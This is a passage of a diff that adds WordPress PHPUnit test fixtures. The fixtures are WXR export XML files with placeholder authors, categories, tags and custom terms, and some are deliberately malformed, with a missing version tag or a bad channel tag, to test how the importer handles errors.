+<!--    existing user on the site or to create a new user. -->
+<!-- 7. WordPress will then import each of the posts, pages comments, categories, etc. -->
+<!--    contained in this file into your blog. -->
+
+<!-- generator="WordPress/3.1-alpha" created="2010-10-09 15:12" -->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.1/"
+>
+<notachanneltag>
+	<title>WXR Test Data</title>
+	<link>http://localhost/</link>
+	<description>Blog with sample content for testing</description>
+	<pubDate>Sat, 09 Oct 2010 15:12:29 +0000</pubDate>
+	<language>en</language>
+	<wp:wxr_version>abc</wp:wxr_version>
+	<wp:base_site_url>http://localhost/</wp:base_site_url>
+	<wp:base_blog_url>http://localhost/</wp:base_blog_url>
+	<wp:author><wp:author_login>john</wp:author_login><wp:author_email>johndoe@example.org</wp:author_email><wp:author_display_name><![CDATA[John Doe]]></wp:author_display_name><wp:author_first_name><![CDATA[John]]></wp:author_first_name><wp:author_last_name><![CDATA[Doe]]></wp:author_last_name></wp:author>
+	<wp:category><wp:term_id>1</wp:term_id><wp:category_nicename>alpha</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[alpha]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>2</wp:term_id><wp:category_nicename>bar</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Bar]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>3</wp:term_id><wp:category_nicename>beta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[beta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>4</wp:term_id><wp:category_nicename>delta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[delta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>5</wp:term_id><wp:category_nicename>epsilon</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[epsilon]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>6</wp:term_id><wp:category_nicename>eta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[eta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>7</wp:term_id><wp:category_nicename>foo</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>8</wp:term_id><wp:category_nicename>foo-bar</wp:category_nicename><wp:category_parent>bar</wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>9</wp:term_id><wp:category_nicename>gamma</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[gamma]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>10</wp:term_id><wp:category_nicename>iota</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[iota]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>11</wp:term_id><wp:category_nicename>kappa</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[kappa]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>12</wp:term_id><wp:category_nicename>lambda</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[lambda]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>13</wp:term_id><wp:category_nicename>level-1</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Level 1]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>14</wp:term_id><wp:category_nicename>level-2</wp:category_nicename><wp:category_parent>level-1</wp:category_parent><wp:cat_name><![CDATA[Level 2]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>15</wp:term_id><wp:category_nicename>level-3</wp:category_nicename><wp:category_parent>level-2</wp:category_parent><wp:cat_name><![CDATA[Level 3]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>16</wp:term_id><wp:category_nicename>parent</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[pArEnT]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>17</wp:term_id><wp:category_nicename>theta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[theta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>18</wp:term_id><wp:category_nicename>uncategorized</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Uncategorized]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>19</wp:term_id><wp:category_nicename>zeta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[zeta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>20</wp:term_id><wp:category_nicename>also-level-3</wp:category_nicename><wp:category_parent>level-2</wp:category_parent><wp:cat_name><![CDATA[Also Level 3]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>21</wp:term_id><wp:category_nicename>child</wp:category_nicename><wp:category_parent>parent</wp:category_parent><wp:cat_name><![CDATA[CHILD]]></wp:cat_name></wp:category>
+	<wp:tag><wp:term_id>22</wp:term_id><wp:tag_slug>clippable</wp:tag_slug><wp:tag_name><![CDATA[Clippable]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>23</wp:term_id><wp:tag_slug>deuterogamy</wp:tag_slug><wp:tag_name><![CDATA[Deuterogamy]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>24</wp:term_id><wp:tag_slug>entablement</wp:tag_slug><wp:tag_name><![CDATA[Entablement]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>25</wp:term_id><wp:tag_slug>intermembral</wp:tag_slug><wp:tag_name><![CDATA[Intermembral]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>26</wp:term_id><wp:tag_slug>masticatory</wp:tag_slug><wp:tag_name><![CDATA[Masticatory]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>27</wp:term_id><wp:tag_slug>obligato</wp:tag_slug><wp:tag_name><![CDATA[Obligato]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>28</wp:term_id><wp:tag_slug>occultation</wp:tag_slug><wp:tag_name><![CDATA[Occultation]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>29</wp:term_id><wp:tag_slug>onion</wp:tag_slug><wp:tag_name><![CDATA[Onion]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>30</wp:term_id><wp:tag_slug>pontonier</wp:tag_slug><wp:tag_name><![CDATA[Pontonier]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>31</wp:term_id><wp:tag_slug>rooftree</wp:tag_slug><wp:tag_name><![CDATA[Rooftree]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>32</wp:term_id><wp:tag_slug>saccule</wp:tag_slug><wp:tag_name><![CDATA[Saccule]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>33</wp:term_id><wp:tag_slug>salpa</wp:tag_slug><wp:tag_name><![CDATA[Salpa]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>34</wp:term_id><wp:tag_slug>tag-1</wp:tag_slug><wp:tag_name><![CDATA[tag 1]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>35</wp:term_id><wp:tag_slug>tag-2</wp:tag_slug><wp:tag_name><![CDATA[tag 2]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>36</wp:term_id><wp:tag_slug>tag-3</wp:tag_slug><wp:tag_name><![CDATA[tag 3]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>37</wp:term_id><wp:tag_slug>tag-4</wp:tag_slug><wp:tag_name><![CDATA[tag 4]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>38</wp:term_id><wp:tag_slug>tag-5</wp:tag_slug><wp:tag_name><![CDATA[tag 5]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>39</wp:term_id><wp:tag_slug>tentage</wp:tag_slug><wp:tag_name><![CDATA[Tentage]]></wp:tag_name></wp:tag>
+	<wp:term><wp:term_id>40</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>bieup</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[bieup]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>41</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>blah</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[blah]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>42</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>digeut</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[digeut]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>43</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>giyeok</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[giyeok]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>44</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>halb</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[halb]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>45</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>mieum</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[mieum]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>46</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>nieun</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[nieun]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>47</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>parent-2</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[Parent]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>48</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>rieul</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[rieul]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>49</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>siot</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[siot]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>50</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>tax-1</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[TAX 1]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>51</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>tax-2</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[TAX 2]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>52</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>blah-halb</wp:term_slug><wp:term_parent>halb</wp:term_parent><wp:term_name><![CDATA[blah]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>53</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>child-parent-2</wp:term_slug><wp:term_parent>parent-2</wp:term_parent><wp:term_name><![CDATA[chilD]]></wp:term_name></wp:term>
+</channel>
+</rss>
Index: /tags/4.1.6/tests/phpunit/data/export/missing-version-tag.xml
===================================================================
--- /tags/4.1.6/tests/phpunit/data/export/missing-version-tag.xml	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/export/missing-version-tag.xml	(revision 33402)
@@ -0,0 +1,90 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. -->
+<!-- It contains information about your site's posts, pages, comments, categories, and other content. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- NB: This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress site follow these steps: -->
+<!-- 1. Log in to that site as an administrator. -->
+<!-- 2. Go to Tools: Import in the WordPress admin panel. -->
+<!-- 3. Install the "WordPress" importer from the list. -->
+<!-- 4. Activate & Run Importer. -->
+<!-- 5. Upload this file using the form provided on that page. -->
+<!-- 6. You will first be asked to map the authors in this export file to users -->
+<!--    on the site. For each author, you may choose to map to an -->
+<!--    existing user on the site or to create a new user. -->
+<!-- 7. WordPress will then import each of the posts, pages comments, categories, etc. -->
+<!--    contained in this file into your blog. -->
+
+<!-- generator="WordPress/3.1-alpha" created="2010-10-09 15:12" -->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.1/"
+>
+<channel>
+	<title>WXR Test Data</title>
+	<link>http://localhost/</link>
+	<description>Blog with sample content for testing</description>
+	<pubDate>Sat, 09 Oct 2010 15:12:29 +0000</pubDate>
+	<language>en</language>
+	<wp:base_site_url>http://localhost/</wp:base_site_url>
+	<wp:base_blog_url>http://localhost/</wp:base_blog_url>
+	<wp:author><wp:author_login>john</wp:author_login><wp:author_email>johndoe@example.org</wp:author_email><wp:author_display_name><![CDATA[John Doe]]></wp:author_display_name><wp:author_first_name><![CDATA[John]]></wp:author_first_name><wp:author_last_name><![CDATA[Doe]]></wp:author_last_name></wp:author>
+	<wp:category><wp:term_id>1</wp:term_id><wp:category_nicename>alpha</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[alpha]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>2</wp:term_id><wp:category_nicename>bar</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Bar]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>3</wp:term_id><wp:category_nicename>beta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[beta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>4</wp:term_id><wp:category_nicename>delta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[delta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>5</wp:term_id><wp:category_nicename>epsilon</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[epsilon]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>6</wp:term_id><wp:category_nicename>eta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[eta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>7</wp:term_id><wp:category_nicename>foo</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>8</wp:term_id><wp:category_nicename>foo-bar</wp:category_nicename><wp:category_parent>bar</wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>9</wp:term_id><wp:category_nicename>gamma</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[gamma]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>10</wp:term_id><wp:category_nicename>iota</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[iota]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>11</wp:term_id><wp:category_nicename>kappa</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[kappa]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>12</wp:term_id><wp:category_nicename>lambda</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[lambda]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>13</wp:term_id><wp:category_nicename>level-1</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Level 1]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>14</wp:term_id><wp:category_nicename>level-2</wp:category_nicename><wp:category_parent>level-1</wp:category_parent><wp:cat_name><![CDATA[Level 2]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>15</wp:term_id><wp:category_nicename>level-3</wp:category_nicename><wp:category_parent>level-2</wp:category_parent><wp:cat_name><![CDATA[Level 3]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>16</wp:term_id><wp:category_nicename>parent</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[pArEnT]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>17</wp:term_id><wp:category_nicename>theta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[theta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>18</wp:term_id><wp:category_nicename>uncategorized</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Uncategorized]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>19</wp:term_id><wp:category_nicename>zeta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[zeta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>20</wp:term_id><wp:category_nicename>also-level-3</wp:category_nicename><wp:category_parent>level-2</wp:category_parent><wp:cat_name><![CDATA[Also Level 3]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>21</wp:term_id><wp:category_nicename>child</wp:category_nicename><wp:category_parent>parent</wp:category_parent><wp:cat_name><![CDATA[CHILD]]></wp:cat_name></wp:category>
+	<wp:tag><wp:term_id>22</wp:term_id><wp:tag_slug>clippable</wp:tag_slug><wp:tag_name><![CDATA[Clippable]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>23</wp:term_id><wp:tag_slug>deuterogamy</wp:tag_slug><wp:tag_name><![CDATA[Deuterogamy]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>24</wp:term_id><wp:tag_slug>entablement</wp:tag_slug><wp:tag_name><![CDATA[Entablement]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>25</wp:term_id><wp:tag_slug>intermembral</wp:tag_slug><wp:tag_name><![CDATA[Intermembral]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>26</wp:term_id><wp:tag_slug>masticatory</wp:tag_slug><wp:tag_name><![CDATA[Masticatory]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>27</wp:term_id><wp:tag_slug>obligato</wp:tag_slug><wp:tag_name><![CDATA[Obligato]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>28</wp:term_id><wp:tag_slug>occultation</wp:tag_slug><wp:tag_name><![CDATA[Occultation]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>29</wp:term_id><wp:tag_slug>onion</wp:tag_slug><wp:tag_name><![CDATA[Onion]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>30</wp:term_id><wp:tag_slug>pontonier</wp:tag_slug><wp:tag_name><![CDATA[Pontonier]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>31</wp:term_id><wp:tag_slug>rooftree</wp:tag_slug><wp:tag_name><![CDATA[Rooftree]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>32</wp:term_id><wp:tag_slug>saccule</wp:tag_slug><wp:tag_name><![CDATA[Saccule]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>33</wp:term_id><wp:tag_slug>salpa</wp:tag_slug><wp:tag_name><![CDATA[Salpa]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>34</wp:term_id><wp:tag_slug>tag-1</wp:tag_slug><wp:tag_name><![CDATA[tag 1]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>35</wp:term_id><wp:tag_slug>tag-2</wp:tag_slug><wp:tag_name><![CDATA[tag 2]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>36</wp:term_id><wp:tag_slug>tag-3</wp:tag_slug><wp:tag_name><![CDATA[tag 3]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>37</wp:term_id><wp:tag_slug>tag-4</wp:tag_slug><wp:tag_name><![CDATA[tag 4]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>38</wp:term_id><wp:tag_slug>tag-5</wp:tag_slug><wp:tag_name><![CDATA[tag 5]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>39</wp:term_id><wp:tag_slug>tentage</wp:tag_slug><wp:tag_name><![CDATA[Tentage]]></wp:tag_name></wp:tag>
+	<wp:term><wp:term_id>40</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>bieup</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[bieup]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>41</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>blah</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[blah]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>42</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>digeut</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[digeut]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>43</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>giyeok</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[giyeok]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>44</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>halb</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[halb]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>45</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>mieum</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[mieum]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>46</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>nieun</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[nieun]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>47</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>parent-2</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[Parent]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>48</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>rieul</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[rieul]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>49</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>siot</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[siot]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>50</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>tax-1</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[TAX 1]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>51</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>tax-2</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[TAX 2]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>52</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>blah-halb</wp:term_slug><wp:term_parent>halb</wp:term_parent><wp:term_name><![CDATA[blah]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>53</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>child-parent-2</wp:term_slug><wp:term_parent>parent-2</wp:term_parent><wp:term_name><![CDATA[chilD]]></wp:term_name></wp:term>
+</channel>
+</rss>
Index: /tags/4.1.6/tests/phpunit/data/export/small-export.xml
===================================================================
--- /tags/4.1.6/tests/phpunit/data/export/small-export.xml	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/export/small-export.xml	(revision 33402)
@@ -0,0 +1,447 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. -->
+<!-- It contains information about your site's posts, pages, comments, categories, and other content. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- This file is not intended to serve as a complete backup of your site. -->
+
+<!-- To import this information into a WordPress site follow these steps: -->
+<!-- 1. Log in to that site as an administrator. -->
+<!-- 2. Go to Tools: Import in the WordPress admin panel. -->
+<!-- 3. Install the "WordPress" importer from the list. -->
+<!-- 4. Activate & Run Importer. -->
+<!-- 5. Upload this file using the form provided on that page. -->
+<!-- 6. You will first be asked to map the authors in this export file to users -->
+<!--    on the site. For each author, you may choose to map to an -->
+<!--    existing user on the site or to create a new user. -->
+<!-- 7. WordPress will then import each of the posts, pages, comments, categories, etc. -->
+<!--    contained in this file into your site. -->
+
+<!-- generator="WordPress/3.1-RC2-17315" created="2011-01-18 08:06" -->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.1/"
+>
+
+<channel>
+	<title>trunk</title>
+	<link>http://localhost/</link>
+	<description>Just another WordPress site</description>
+	<pubDate>Tue, 18 Jan 2011 08:06:21 +0000</pubDate>
+	<language>en</language>
+	<wp:wxr_version>1.1</wp:wxr_version>
+	<wp:base_site_url>http://localhost/</wp:base_site_url>
+	<wp:base_blog_url>http://localhost/</wp:base_blog_url>
+
+	<wp:author><wp:author_id>1</wp:author_id><wp:author_login>admin</wp:author_login><wp:author_email>local@host.null</wp:author_email><wp:author_display_name><![CDATA[admin]]></wp:author_display_name><wp:author_first_name><![CDATA[]]></wp:author_first_name><wp:author_last_name><![CDATA[]]></wp:author_last_name></wp:author>
+	<wp:author><wp:author_id>2</wp:author_id><wp:author_login>editor</wp:author_login><wp:author_email>editor@example.org</wp:author_email><wp:author_display_name><![CDATA[editor]]></wp:author_display_name><wp:author_first_name><![CDATA[FirstName]]></wp:author_first_name><wp:author_last_name><![CDATA[LastName]]></wp:author_last_name></wp:author>
+	<wp:author><wp:author_id>3</wp:author_id><wp:author_login>author</wp:author_login><wp:author_email>author@example.org</wp:author_email><wp:author_display_name><![CDATA[author]]></wp:author_display_name><wp:author_first_name><![CDATA[]]></wp:author_first_name><wp:author_last_name><![CDATA[]]></wp:author_last_name></wp:author>
+
+	<wp:category><wp:term_id>8</wp:term_id><wp:category_nicename>alpha</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[alpha]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>4</wp:term_id><wp:category_nicename>bar</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Bar]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>9</wp:term_id><wp:category_nicename>beta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[BETA]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>29</wp:term_id><wp:category_nicename>chi</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[CHI]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>11</wp:term_id><wp:category_nicename>delta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[dElta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>12</wp:term_id><wp:category_nicename>epsilon</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[epsilon]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>14</wp:term_id><wp:category_nicename>eta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[eta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>3</wp:term_id><wp:category_nicename>foo</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name><wp:category_description><![CDATA[The top-level foo category]]></wp:category_description></wp:category>
+	<wp:category><wp:term_id>5</wp:term_id><wp:category_nicename>foo-bar</wp:category_nicename><wp:category_parent>bar</wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name><wp:category_description><![CDATA[The child foo category]]></wp:category_description></wp:category>
+	<wp:category><wp:term_id>10</wp:term_id><wp:category_nicename>gamma</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[gaMMA]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>16</wp:term_id><wp:category_nicename>iota</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[IOTA]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>17</wp:term_id><wp:category_nicename>kappa</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Kappa]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>18</wp:term_id><wp:category_nicename>lambda</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[lambda]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>19</wp:term_id><wp:category_nicename>mu</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[MU]]></wp:cat_name></wp:category>
